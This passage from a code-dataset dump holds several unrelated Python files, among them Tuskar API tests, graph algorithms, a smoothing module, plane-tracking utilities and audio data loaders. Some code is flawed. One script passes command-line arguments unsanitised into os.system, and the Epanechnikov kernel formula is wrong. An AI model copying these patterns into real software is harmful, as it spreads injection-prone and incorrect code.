self.label['image'] = self.root.image\n\n def type(self, text, tag=\"voice_out\"):\n self.text_box.insert(tk.END, text + '\\r\\n', tag)\n self.text_box.see(\"end\")\n\n\ngirl = VAGui()\n","sub_path":"va_gui.py","file_name":"va_gui.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"633718499","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport mox\n\nimport heatclient.exc\nimport heatclient.v1.stacks\n\nimport tuskar.heat.client\nfrom tuskar.tests.api import api\n\n\nclass TestOverclouds(api.FunctionalTest):\n\n def test_it_returns_the_overcloud_endpoints(self):\n heat_outputs = [\n {'output_value': 'http://192.0.2.5:5000/v2.0/',\n 'description': 'URL for the Overcloud Keystone service',\n 'output_key': 'KeystoneURL'},\n ]\n\n heat_stack = mox.MockAnything()\n heat_stack.outputs = heat_outputs\n\n self.mox.StubOutWithMock(tuskar.heat.client.HeatClient, 'get_stack')\n tuskar.heat.client.HeatClient.get_stack('stack_name').AndReturn(\n heat_stack)\n self.mox.ReplayAll()\n\n response = self.app.get('/v1/overclouds/stack_name')\n self.assertEqual(response.status, '200 OK')\n self.assertRegexpMatches(response.body, 'http://192.0.2.5:5000/v2.0/')\n\n def test_it_returns_404_for_nonexisting_overcloud(self):\n self.mox.StubOutWithMock(tuskar.heat.client.HeatClient, 'get_stack')\n tuskar.heat.client.HeatClient.get_stack(\n 'stack_name').AndRaise(heatclient.exc.HTTPNotFound())\n self.mox.ReplayAll()\n\n response = self.app.get('/v1/overclouds/stack_name',\n expect_errors=True)\n self.assertEqual(response.status, '404 Not Found')\n\n def test_it_returns_404_during_provisioning(self):\n heat_stack = self.mox.CreateMock(heatclient.v1.stacks.Stack)\n self.mox.StubOutWithMock(tuskar.heat.client.HeatClient, 'get_stack')\n tuskar.heat.client.HeatClient.get_stack('stack_name').AndReturn(\n heat_stack)\n self.mox.ReplayAll()\n\n response = self.app.get('/v1/overclouds/stack_name',\n expect_errors=True)\n self.assertEqual(response.status, '404 Not Found')\n","sub_path":"tuskar/tests/api/controllers/v1/test_overclouds.py","file_name":"test_overclouds.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"469038039","text":"from talon import Context, Module\n\nmod = Module()\nctx = Context()\n\nctx.matches = r\"\"\"\ntag: user.cursorless\n\"\"\"\n\npair_symbols = {\n \"angle\": \"angleBrackets\",\n \"diamond\": \"angleBrackets\",\n \"curly\": \"curlyBrackets\",\n \"round\": \"parentheses\",\n \"square\": \"squareBrackets\",\n \"quad\": \"doubleQuotes\",\n \"twin\": \"singleQuotes\",\n}\n\nmod.list(\"cursorless_pair_symbol\", desc=\"A symbol that comes in pairs, eg brackets\")\nctx.lists[\"self.cursorless_pair_symbol\"] = pair_symbols\n\n\n@mod.capture(rule=(\"{user.cursorless_pair_symbol}\"))\ndef cursorless_surrounding_pair(m) -> str:\n \"\"\"Surrounding pair modifiers\"\"\"\n return {\"modifier\": {\"type\": \"surroundingPair\", \"delimiter\": m.pair_symbol}}\n","sub_path":"src/modifiers/surrounding_pair.py","file_name":"surrounding_pair.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"143303956","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'图:最小生成树和最短路径'\n\n##[1]从图中提取最小生成树(权值和最小的数)\nprint('\\n***从图中提取最小生成树(权值和最小的数)***')\n#普利姆算法提取最小生成树。\n#从顶点开始选择周边权值最小的边\nimport copy\nimport bisect\nclass Graph(object):\n def __init__(self, *args, **kwargs):\n self.node_neighbors = {}\n self.visited = {}\n self.edge_properties = {}\n self.in_degree = {}\n\n def add_nodes(self, nodelist):\n for node in nodelist:\n self.add_node(node)\n\n def add_node(self, node):\n if not node in self.node_neighbors:\n self.node_neighbors[node] = []\n\n #增加无向边\n def add_edge(self, edge, weight=1):\n u, v= edge\n if (v not in self.node_neighbors[u]) and (u not in self.node_neighbors[v]):\n self.node_neighbors[u].append(v)\n if (u != v):\n self.node_neighbors[v].append(u)\n self.edge_properties[edge] = weight\n self.edge_properties[(v, u)] = weight\n\n #增加有向弧\n def add_arc(self, edge, weight=1):\n u, v = edge\n if v not in self.node_neighbors[u]:\n self.node_neighbors[u].append(v)\n self.edge_properties[edge] = weight\n #print(self.in_degree)\n if v in self.in_degree:\n self.in_degree[v] = self.in_degree[v] + 1\n else:\n self.in_degree[v] = 1\n if u not in self.in_degree:\n self.in_degree[u] = 0\n\n def edge_weight(self, edge):\n if edge in self.edge_properties:\n return self.edge_properties[edge]\n return -1\n\n def nodes(self):\n return self.node_neighbors.keys()\n\n def depth_first_search(self, root=None):\n order = []\n\n def dfs(node):\n self.visited[node] = True\n order.append(node)\n for n in self.node_neighbors[node]:\n if not n in self.visited:\n dfs(n)\n if root:\n dfs(root)\n for node in self.nodes():\n if not node in self.visited:\n dfs(node)\n print(order)\n return order\n\n def breadth_first_search(self, root=None):\n queue = []\n order = []\n\n def bfs():\n while len(queue) > 0:\n node = queue.pop(0)\n self.visited[node] = True\n for n in self.node_neighbors[node]:\n if (not n in self.visited) and (not n in queue):\n queue.append(n)\n order.append(n)\n if root:\n queue.append(root)\n order.append(root)\n bfs()\n for node in self.nodes():\n if not node in self.visited:\n queue.append(node)\n order.append(node)\n bfs()\n print(order)\n return order\n\n #kruskal克鲁斯卡尔提取最小生成树\n #算法思想(贪婪):不断选择最小权值的边,成环则放弃,直到选到n-1条边\n def kruskal_min_tree(self):\n pass\n\n #prim普利姆算法提取最小生成树\n #算法思想(贪婪):从顶点开始选择周边权值最小的边\n #应用:在城市节点之间铺设管道的时候,用最少的材料实现全覆盖。\n def prim_min_tree(self, root=None):\n spanning_tree = {}\n def light_edge():\n min_weight = 10000\n edge = None\n for node in self.visited.keys():\n for other in self.node_neighbors[node]:\n if not other in self.visited:\n if self.edge_weight((node, other)) != -1 and self.edge_weight((node, other)) < min_weight:\n min_weight = self.edge_weight((node, other))\n edge = (node, other)\n return edge, min_weight\n\n def get_unvisited_node():\n for node in self.nodes():\n if not node in self.visited:\n return node\n\n #直到所有的节点都被访问过。print(self.nodes())\n while len(self.visited.keys()) != len(self.nodes()):\n #print(self.visited)\n edge, min_weight = light_edge()\n #print(edge, min_weight) #第一次为None 10000\n if edge:\n spanning_tree[(edge[0], edge[1])] = min_weight\n self.visited[edge[1]] = True\n else:\n #如果开始edge为None,则取指定的开始节点\n node = root if root else get_unvisited_node()\n if node:\n self.visited[node] = True\n return spanning_tree\n\n #拓扑序列的逆序列(有向无环图(DAG)才有拓扑序列)\n #方法:找到入度为0的,取出,删除以Ta为开始的边,重复这样操作\n #应用:对于有前置依赖的工程任务,可以直接得到完整的任务序列\n def topological_sorting(self):\n in_degree = copy.deepcopy(self.in_degree)\n order = []\n def find_zero_in_degree_node():\n for k, v in in_degree.items():\n if v == 0 and (not k in self.visited):\n return k\n return None\n\n def do(node):\n self.visited[node] = True\n order.append(node)\n for other in self.node_neighbors[node]:\n if other not in self.visited:\n in_degree[other] -= 1\n\n #找出第一个入度为0的节点\n node = find_zero_in_degree_node()\n while node:\n do(node)\n node = find_zero_in_degree_node()\n if len(order) == len(self.nodes()):\n return order\n return None\n\n #[单源最短路径]用迪杰斯特拉算法求最短路径,Dijkstra's algorithm:O(n2)。\n #求某一个节点到所有顶点的最短距离\n #https://www.youtube.com/watch?v=RFEqcXSo_Zg\n #算法设计思想:【从一个顶点不断向外扩展并加入周边最短路径的顶点】\n #输入:有向图G=(V, E, W), V={0,1,2,...,n}, s=0\n #输出:从s到每个顶点的最短路径\n #1、初始S={1}\n #2、对于i∈V-S,计算0到i的相对S的最短路,长度dist[i]\n #3、选择V-S中dist值最小的j,将j加入S,修改V-S中顶点的dist值\n #4、继续上述过程,直到S=V为止\n def shortest_path(self, source):\n dist = {source: 0} #source指定开始节点\n q = [(0, source)] #0表示距离\n while len(q) > 0:\n du, node = q.pop(0)\n self.visited[node] = True\n for n in self.node_neighbors[node]:\n if not n in self.visited:\n alt = du + self.edge_properties[(node, n)]\n if (not n in dist) or alt < dist[n]:\n dist[n] = alt\n bisect.insort(q, (alt, n))\n return dist\n\n #[多源最短路径]用佛洛依德算法求最短路径,Floyd-Warshall:O(n3)\n #算法思想:【用所有顶点(c)遍历所有边(a-b),如果经过dist(a,b)>dist(a,c)+dist(b,c)则dist(a,b)=dist(a,c)+dist(b,c)】\n def floyd_warshall(self):\n INF = 9999\n G = {\n 1:{1:0, 2:2, 3:6, 4:4},\n 2:{1:INF, 2:0, 3:3, 4:INF},\n 3:{1:7, 2:INF, 3:0, 4:1},\n 4:{1:5, 2:INF, 3:12, 4:0}}\n for k in G.keys():\n for i in G.keys():\n for j in G[i].keys():\n if G[i][j] > G[i][k] + G[k][j]:\n G[i][j] = G[i][k] + G[k][j]\n for i in G.keys():\n print(G[i].values())\n\n #[负权单源最短路径]用贝尔曼-福特算法求最短路径,bellman-ford\n #如果存在负权回路则找不到最短路径。\n #算法思想:【经过两次n-1松弛,如果最短路径发生变化,则存在负权回路】\n def bellman_ford(self, v0, INF=9999):\n G = {1: {1: 0, 2: -3, 5: 5},\n 2: {2: 0, 3: 2},\n 3: {3: 0, 4: 3},\n 4: {4: 0, 5: 2},\n 5: {5: 0}}\n\n #获取边和端点\n v1, v2, w = [],[],[] #出发点、对应相邻到达点,v1到v2的边权值\n for i in G:\n for j in G[i]:\n if G[i][j] != 0:\n w.append(G[i][j])\n v1.append(i)\n v2.append(j)\n dis = dict((k, INF) for k in G.keys())\n dis[v0]=0\n\n #核心算法\n for k in range(len(G) - 1):\n check = 0 #用于标记本轮dist是否发生更新\n for i in range(len(w)):\n if dis[v2[i]] > dis[v1[i]] + w[i]:\n dis[v2[i]] = dis[v1[i]] + w[i]\n check = 1\n if check == 0: break\n\n #检测负权:经过两次n-1松弛,如果最短路径发生变化,则存在负权回路\n flag = 0\n for i in range(len(w)):\n if dis[v2[i]] > dis[v1[i]] + w[i]:\n flag = 1\n break\n if flag == 1:\n print(\"存在负权回路,找不到最短路径\")\n return False\n return dis\n\n\nif __name__ == '__main__':\n g = Graph()\n g.add_nodes([i + 1 for i in range(6)])\n print(\"添加节点后的邻接表:\", g.node_neighbors) #{1: [], 2: [], 3: [], 4: [], 5: [], 6: []}\n g.add_edge((1, 2), 6)\n #print(\"添加边:\", g.node_neighbors) #{1: [2], 2: [1], 3: [], 4: [], 5: [], 6: []}\n #print(g.edge_properties) #{(1, 2): 6, (2, 1): 6}\n g.add_edge((1, 3), 1)\n g.add_edge((1, 4), 5)\n g.add_edge((2, 3), 3)\n g.add_edge((2, 5), 5)\n g.add_edge((3, 4), 5)\n g.add_edge((3, 5), 6)\n g.add_edge((3, 6), 4)\n g.add_edge((4, 6), 2)\n g.add_edge((5, 6), 6)\n print(\"添加边后的邻接表:\", g.node_neighbors) #{1: [2], 2: [1], 3: [], 4: [], 5: [], 6: []}\n print(\"权值列表:\", g.edge_properties)\n print(\"最小生成树\", g.prim_min_tree(1), '\\n')\n\n g2 = Graph()\n g2.add_nodes([i + 1 for i in range(6)])\n print(\"添加节点后的邻接表:\", g2.node_neighbors)\n g2.add_arc((1, 2))\n g2.add_arc((1, 3))\n g2.add_arc((1, 4))\n g2.add_arc((3, 2))\n g2.add_arc((3, 5))\n g2.add_arc((6, 5))\n g2.add_arc((6, 4))\n g2.add_arc((4, 5))\n print(\"添加弧后的邻接表:\", g2.node_neighbors)\n print(\"权值列表:\", g2.edge_properties)\n print(\"各节点的入度:\", g2.in_degree)\n print(\"DAG有向无环图的拓扑序列topological_sorting:\", g2.topological_sorting(), '\\n')\n\n g3 = Graph()\n g3.add_nodes([i for i in range(6)])\n print(\"添加节点后的邻接表:\", g3.node_neighbors)\n g3.add_arc((0, 2), 10)\n g3.add_arc((0, 4), 30)\n g3.add_arc((0, 5), 100)\n g3.add_arc((1, 2), 5)\n g3.add_arc((2, 3), 50)\n g3.add_arc((3, 5), 10)\n g3.add_arc((4, 3), 20)\n g3.add_arc((4, 5), 60)\n print(\"添加弧后的邻接表:\", g3.node_neighbors)\n print(\"权值列表:\", g3.edge_properties)\n print(\"各节点的入度:\", g3.in_degree)\n print(\"最短路径\", g3.shortest_path(0), '\\n')\n\n print(\"佛洛依德求最短路径:\")\n g3.floyd_warshall()\n\n print(\"贝尔曼-福特求最短路径:\", g3.bellman_ford(1))\n\n\n##[7]\nprint('\\n*** ***')\n\n##[8]\nprint('\\n*** ***')\n\n##[9]\nprint('\\n*** ***')\n\n##[10]\nprint('\\n*** ***')\n","sub_path":"ai/datastructure/2图的最小生成树与最短路径.py","file_name":"2图的最小生成树与最短路径.py","file_ext":"py","file_size_in_byte":11416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"135646547","text":"def bubblesort(list):\n isSorted = False\n lastElement = len(list)-1\n while not isSorted:\n isSorted = True\n for x in range(0, lastElement):\n if list[x] > list[x+1]:\n swap(list, x, x+1)\n isSorted = False\n lastElement -= 1\n\ndef swap(list, left, right):\n temp = list[left]\n list[left] = list[right]\n list[right] = temp\n\ndef bubblesortAlt(list):\n\n# Swap the elements to arrange in order\n for iter_num in range(len(list)-1,0,-1):\n for idx in range(iter_num):\n if list[idx]>list[idx+1]:\n temp = list[idx]\n list[idx] = list[idx+1]\n list[idx+1] = temp\n\n\nlist = [19,2,31,45,6,11,121,27]\nbubblesort(list)\nprint(list)\n\nlist = [19,2,31,45,6,11,121,27]\nbubblesort(list)\nprint(list)\n\nlist = [19,2,31,45,6,11,121,27]\nbubblesortAlt(list)\nprint(list)\n","sub_path":"BubbleSort.py","file_name":"BubbleSort.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"541488009","text":"import numpy as np\nfrom scipy.stats import norm\nimport scipy.interpolate as interpolate # B-Spline\n\n\ndef _gaussian_kernel(M, m, h_m, T, t, h_t):\n u_m = (M-m)/h_m\n u_t = (T-t)/h_t\n return norm.cdf(u_m) * norm.cdf(u_t)\n\n\ndef _epanechnikov(M, m, h_m, T, t, h_t):\n u_m = (M-m)/h_m\n u_t = (T-t)/h_t\n return 3/4 * (1-u_m)**2 * 3/4 * (1-u_t)**2\n\n\ndef _local_polynomial(df, m, t, h_m, h_t, kernel=_gaussian_kernel):\n M = np.array(df.M)\n T = np.array(df.tau)\n y = np.array(df.iv)\n n = df.shape[0]\n\n X1 = np.ones(n)\n X2 = M - m\n X3 = (M-m)**2\n X4 = T-t\n X5 = (T-t)**2\n X6 = X2*X4\n X = np.array([X1, X2, X3, X4, X5, X6]).T\n\n ker = kernel(M, m, h_m, T, t, h_t)\n W = np.diag(ker)\n\n XTW = np.dot(X.T, W)\n\n beta = np.linalg.pinv(np.dot(XTW, X)).dot(XTW).dot(y)\n\n return beta[0], beta[1], 2*beta[2]\n\n\ndef locpoly_smoothing(df, tau, h_m, h_t=0.05, gridsize=50, kernel='epak'):\n\n if kernel=='epak':\n kernel = _epanechnikov\n elif kernel=='gauss':\n kernel = _gaussian_kernel\n else:\n print('kernel not know, use epanechnikov')\n kernel = _epanechnikov\n\n num = gridsize\n M_min, M_max = min(df.M), max(df.M)\n M = np.linspace(M_min, M_max, gridsize)\n\n sig = np.zeros((num, 3))\n for i, m in enumerate(M):\n sig[i] = _local_polynomial(df, m, tau, h_m, h_t, kernel)\n\n smile = sig[:, 0]\n first = sig[:, 1]\n second = sig[:, 2]\n\n S_min, S_max = min(df.S), max(df.S)\n K_min, K_max = min(df.K), max(df.K)\n S = np.linspace(S_min, S_max, gridsize)\n K = np.linspace(K_min, K_max, gridsize)\n\n return smile, first, second, M, S, K\n","sub_path":"DEDA_2020SS_Crypto_Options_RND_HD/CrypOpt_RiskNeutralDensity/smoothing.py","file_name":"smoothing.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"216134764","text":"#!/usr/bin/python\nimport sys, re, glob\nfrom os import system\nmol = sys.argv[1]\nbasis = sys.argv[2]\nfile= 'qmudiamu'+mol+'.out_'+ basis\nstring = \"sed '/@ Singlet/,/@ Value/p;d' \"+file+\" | sed '1~6 d' | sed '4~5 d' | sed 's/@.*[:|=]//' | sed 's/ [1|2] //'\"+ \"| sed \\'N;N;N;s/\\\\n//g\\'\"\n\n\nsystem(string)\n","sub_path":"pytools_git/chemistry/qmudia.py","file_name":"qmudia.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"208677292","text":"from typing import *\nimport logging\nimport math\nimport bing\nfrom planedb import *\nfrom datetime import datetime, timedelta\n\n\ndef deg2rad(deg: float) -> float:\n \"\"\"Convert degrees to radians\n\n Arguments:\n deg {float} -- Angle in degrees\n\n Returns:\n float -- Angle in radians\n \"\"\"\n return deg * (math.pi/180)\n\n\ndef bearing(lat1: float, lon1: float, lat2: float, lon2: float) -> float:\n \"\"\"Calculate bearing from lat1/lon2 to lat2/lon2\n\n Arguments:\n lat1 {float} -- Start latitude\n lon1 {float} -- Start longitude\n lat2 {float} -- End latitude\n lon2 {float} -- End longitude\n\n Returns:\n float -- bearing in degrees\n \"\"\"\n rlat1 = math.radians(lat1)\n rlat2 = math.radians(lat2)\n rlon1 = math.radians(lon1)\n rlon2 = math.radians(lon2)\n dlon = math.radians(lon2-lon1)\n\n b = math.atan2(math.sin(dlon)*math.cos(rlat2),math.cos(rlat1)*math.sin(rlat2)-math.sin(rlat1)*math.cos(rlat2)*math.cos(dlon)) # bearing calc\n bd = math.degrees(b)\n br,bn = divmod(bd+360,360) # the bearing remainder and final bearing\n\n return bn\n\n\ndef coordinate_distance(lat1: float, lon1: float, lat2: float, lon2: float) -> float:\n \"\"\"Calculate distance in meters between the two coordinates\n\n Arguments:\n lat1 {float} -- Start latitude\n lon1 {float} -- Start longitude\n lat2 {float} -- End latitude\n lon2 {float} -- End longitude\n\n Returns:\n float -- Distance in meters\n \"\"\"\n R = 6371 # Radius of the earth in km\n dLat = deg2rad(lat2-lat1)\n dLon = deg2rad(lon2-lon1)\n a = math.sin(dLat/2) * math.sin(dLat/2) + math.cos(deg2rad(lat1)) * math.cos(deg2rad(lat2)) * math.sin(dLon/2) * math.sin(dLon/2)\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1-a))\n d = R * c * 1000 # Distance in m\n return d\n\n\ndef calc_travel(lat: float, lon: float, utc_start: datetime, speed_kts: float, heading: float) -> Tuple[float, float]:\n \"\"\"Calculate travel from lat, lon starting at a certain time with given speed and heading\n\n Arguments:\n lat {float} -- Starting latitude\n lon {float} -- Starting longitude\n utc_start {datetime} -- Start time\n speed_kts {float} -- Speed in knots\n heading {float} -- Heading in degress\n\n Returns:\n Tuple[float, float] -- The new lat/lon as a tuple\n \"\"\"\n age = datetime.utcnow() - utc_start\n age_s = age.total_seconds()\n\n R = 6378.1 # Radius of the Earth\n brng = math.radians(heading) # Bearing is 90 degrees converted to radians.\n speed_mps = 0.514444 * speed_kts # knots -> m/s\n d = (age_s * speed_mps) / 1000.0 # Distance in km\n\n lat1 = math.radians(lat) # Current lat point converted to radians\n lon1 = math.radians(lon) # Current long point converted to radians\n\n lat2 = math.asin(math.sin(lat1)*math.cos(d/R) + math.cos(lat1)*math.sin(d/R)*math.cos(brng))\n lon2 = lon1 + math.atan2(math.sin(brng)*math.sin(d/R)*math.cos(lat1), math.cos(d/R)-math.sin(lat1)*math.sin(lat2))\n\n lat2 = math.degrees(lat2)\n lon2 = math.degrees(lon2)\n\n return (lat2, lon2)\n\n\ndef blacklisted(url: str) -> bool:\n \"\"\"Return True if the URL points to a blacklisted source (ie. one that is on to us and reponds with a 403)\n\n Args:\n url (str): URL to image\n\n Returns:\n bool: True if URL is blacklisted\n \"\"\"\n if \"airliners.net\" in url:\n return True\n if \"planefinder.net\" in url:\n return True\n if \"carsbase.com\" in url:\n return True\n return False\n\n\ndef image_search(icao24: str, operator: str = None, type: str = None, registration: str = None, update_planedb: bool = True) -> str:\n \"\"\"Search Bing for plane images. If found, update planedb with URL\n\n Arguments:\n icao24 {str} -- ICAO24 designation\n operator {str} -- Operator of aircraft\n type {str} -- Aircraft type\n registration {str} -- Aircraft registration\n\n Returns:\n str -- URL of image, hopefully\n\n @todo: don't search for\n Bluebird Nordic Boeing 737 4Q8SF TF-BBM\n but rather\n \"Bluebird Nordic\" \"Boeing 737\" \"TF-BBM\"\n or\n \"Bluebird Nordic\" \"TF-BBM\"\n or\n \"Bluebird Nordic\" Boeing \"TF-BBM\"\n \"\"\"\n img_url = None\n # Bing sometimes refuses to search for \"Scandinavian Airlines System\" :-/\n op = None\n if operator is not None:\n op = operator.replace(\"Scandinavian Airlines System\", \"SAS\")\n searchTerm = \"\"\n if op is not None:\n searchTerm = \"%s %s\" % (searchTerm, op)\n if type is not None:\n searchTerm = \"%s %s\" % (searchTerm, type)\n if registration is not None:\n searchTerm = \"%s %s\" % (searchTerm, registration)\n logging.debug(\"Searching for %s\" % searchTerm)\n imageUrls = bing.imageSearch(searchTerm)\n if not imageUrls:\n imageUrls = bing.imageSearch(registration)\n if imageUrls:\n # Filter sources as picking a random image has been known to produce naked women...\n img_url = None\n for temp in imageUrls:\n # These are prisitine sources\n if \"planespotters\" in temp or \"jetphotos\" in temp:\n img_url = temp\n break\n if img_url is None:\n for temp in imageUrls:\n if blacklisted(temp):\n continue\n if \"flugzeug\" in temp or \"plane\" in temp or \"airport\" in temp:\n img_url = temp\n break\n if update_planedb and img_url is not None:\n logging.info(\"Added image %s for %s\", img_url, icao24)\n if not planedb.update_aircraft(icao24, {'image' : img_url}):\n logging.error(\"Failed to update PlaneDB image for %s\" % (icao24))\n return img_url\n else:\n logging.error(\"Image search came up short for '%s', blacklisted (%s)?\" % (searchTerm, icao24))\n return img_url\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"153408437","text":"\"\"\"\nSummary: Audio Set classification for ICASSP 2018 paper\nAuthor: Qiuqiang Kong, Yong Xu\nCreated: 2017.11.02\n\nSummary: Audio Set classification for Eusipco 2018 paper\nAuthor: Changsong Yu\nModified: 2018.02.21\n\n\"\"\"\nimport numpy as np\nimport os\nimport gzip\nimport h5py\nimport logging\nfrom scipy import stats\nfrom sklearn import metrics\nimport time\ndef create_folder(fd):\n if not os.path.exists(fd):\n os.makedirs(fd)\n \ndef get_filename(path):\n path = os.path.realpath(path)\n na_ext = path.split('/')[-1]\n na = os.path.splitext(na_ext)[0]\n return na\n \n# Logging\ndef create_logging(log_dir, filemode):\n # Write out to file\n i1 = 0\n while os.path.isfile(os.path.join(log_dir, \"%05d.log\" % i1)):\n i1 += 1\n log_path = os.path.join(log_dir, \"%05d.log\" % i1)\n logging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename=log_path,\n filemode=filemode)\n \n # Print to console \n console = logging.StreamHandler()\n console.setLevel(logging.INFO)\n formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n console.setFormatter(formatter)\n logging.getLogger('').addHandler(console)\n return logging\n \ndef eer(pred, gt):\n fpr, tpr, thresholds = metrics.roc_curve(gt, pred, drop_intermediate=True)\n \n eps = 1E-6\n Points = [(0,0)]+zip(fpr, tpr)\n for i, point in enumerate(Points):\n if point[0]+eps >= 1-point[1]:\n break\n P1 = Points[i-1]; P2 = Points[i]\n \n #Interpolate between P1 and P2\n if abs(P2[0]-P1[0]) < eps:\n EER = P1[0] \n else: \n m = (P2[1]-P1[1]) / (P2[0]-P1[0])\n o = P1[1] - m * P1[0]\n EER = (1-o) / (1+m) \n return EER\n\ndef d_prime(auc):\n standard_normal = stats.norm()\n d_prime = standard_normal.ppf(auc)*np.sqrt(2.0)\n return d_prime\n\n# Load data \ndef load_data(hdf5_path):\n with h5py.File(hdf5_path, 'r') as hf:\n x = hf.get('x')\n y = hf.get('y')\n video_id_list = hf.get('video_id_list')\n x = np.array(x)\n y = np.array(y)\n video_id_list = list(video_id_list)\n \n return x, y, video_id_list\n\ndef uint8_to_float32(x):\n return (np.float32(x) - 128.) / 128.\n \ndef bool_to_float32(y):\n return np.float32(y)\n \ndef transform_data(x, y):\n x = uint8_to_float32(x)\n y = bool_to_float32(y)\n return x, y\n\n### Load data & scale data\ndef load_hdf5_data(hdf5_path, verbose=1):\n \"\"\"Load hdf5 data. \n \n Args:\n hdf5_path: string, path of hdf5 file. \n verbose: integar, print flag. \n \n Returns:\n x: ndarray (np.float32), shape: (n_clips, n_time, n_freq)\n y: ndarray (np.bool), shape: (n_clips, n_classes)\n na_list: list, containing wav names. \n \"\"\"\n t1 = time.time()\n with h5py.File(hdf5_path, 'r') as hf:\n x = np.array(hf.get('x'))\n y = np.array(hf.get('y'))\n# na_list = list(hf.get('na_list'))\n \n if verbose == 1:\n print(\"--- %s ---\" % hdf5_path)\n print(\"x.shape: %s %s\" % (x.shape, x.dtype))\n print(\"y.shape: %s %s\" % (y.shape, y.dtype))\n # print(\"len(na_list): %d\" % len(na_list))\n print(\"Loading time: %s\" % (time.time() - t1,))\n \n return x, y#, na_list\n \n \ndef do_scale(x3d, scaler_path, verbose=1):\n \"\"\"Do scale on the input sequence data. \n \n Args:\n x3d: ndarray, input sequence data, shape: (n_clips, n_time, n_freq)\n scaler_path: string, path of pre-calculated scaler. \n verbose: integar, print flag. \n \n Returns:\n Scaled input sequence data. \n \"\"\"\n t1 = time.time()\n scaler = pickle.load(open(scaler_path, 'rb'))\n (n_clips, n_time, n_freq) = x3d.shape\n x2d = x3d.reshape((n_clips * n_time, n_freq))\n x2d_scaled = scaler.transform(x2d)\n x3d_scaled = x2d_scaled.reshape((n_clips, n_time, n_freq))\n if verbose == 1:\n print(\"Scaling time: %s\" % (time.time() - t1,))\n return x3d_scaled\n","sub_path":"prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":4146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"88538751","text":"#!/usr/bin/env python\n\n\n\n# 1. State the question and determine the required data\n\n# Teatro Real HVAC System Data-based Simulator Model Ver. 0\n# The outputs are intended to provide the fitness score to the MO algorithm:\n# - Comfort, Consumed energy, Cost & Performance (COP)\n# - Variance of temperature and time before the show when the goal is reached\n# ????? The model is to simulate the start up of the engines until Tr reaches T0\n# (It can also work with any event that requires a change in the capacities)\n# Necessary inputs are each chiller capacity (%), the OM, and OM' start time\n\n# Project framework libraries selection\n# Jupyter notebook Server, Ver. 5.7.8\n# Current Kernel Information: Python 3.7.3\n\n# Python core - Vectors, Matrices & Dates\n# - Python 3.7.6rc1 \n# - pandas 0.25.3\nimport pandas as pd\nimport numpy as np\n\n# Data analysis:\n# - To split dataset\n# - To build Random Forest Regressor\n# - To build MLP\n# - For Grid search, tuning hyper-parameters of an estimator \nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error, r2_score\nfrom pandas import ExcelWriter\n\n\n# Unlimited # of displayed columns\npd.options.display.max_columns = None\n\n\n\n\n#Building the model architecture\n# Random Forest Regressor parameters\n# bootstrap = True\n# criterion = 'mse' (or 'mae')\n# max_depth (of a tree) = None\n# max_features = 'auto' ('int', 'float', 'sqrt', 'log2')\n# max_leaf_nodes = None ('int')\n# min_impurity_decrease = 0.0\n# min_samples_leaf (node) = 1\n# min_samples_split (of an internal node) = 2\n# min_weight_fraction_leaf (node) = 0.0\n# n_estimators = 10 (or 100?), number of trees\n# n_jobs = 2 (parallel running)\n# oob_score = True (out of bag samples to estimate R2 on unseen data)\n# random_state (of the bootstraping) = None\n# verbose (when fitting and predicting) = 0 \n# warm_start = False\n# Attributes\n# base_estimator_: Child estimator template, collecting fitted sub-estim.\n# estimators_: collection of fitted sub-estimators.\n# feature_importances_: feature importances, the higher, the more important\n# n_features_: number of features when fit is performed\n# n_outputs_: number of outputs when fit is performed.\n# oob_score_: Score of the training dataset with an out-of-bag estimate\n# oob_prediction_: Prediction with out-of-bag estimate\n\nforestAux = RandomForestRegressor(\n bootstrap = True,\n criterion = 'mse',\n max_depth = None,\n max_features = 'auto',\n max_leaf_nodes = None,\n min_impurity_decrease = 0.0,\n min_impurity_split = None,\n min_samples_leaf = 1,\n min_samples_split = 2,\n min_weight_fraction_leaf = 0.0,\n n_estimators = 30,\n n_jobs = 2,\n oob_score = True,\n random_state = None,\n verbose = 0,\n warm_start = False)\n#Random Forest Model learning\nx = pd.read_excel('./input/predictors.xlsx')\nx = x.drop(['Time', 'TExt', 'T0', 'People', 'Tr', 'month', 'day', 'hour', 'Interval'], axis=1)[:len(x)]\n\ny = x[ [ 's_Tr_AmbC', 's_Tr_CrcC', 's_Tr_CrcF', 's_Tr_FyrF', 's_Tr_GdF', 's_Tr_GoyaF', 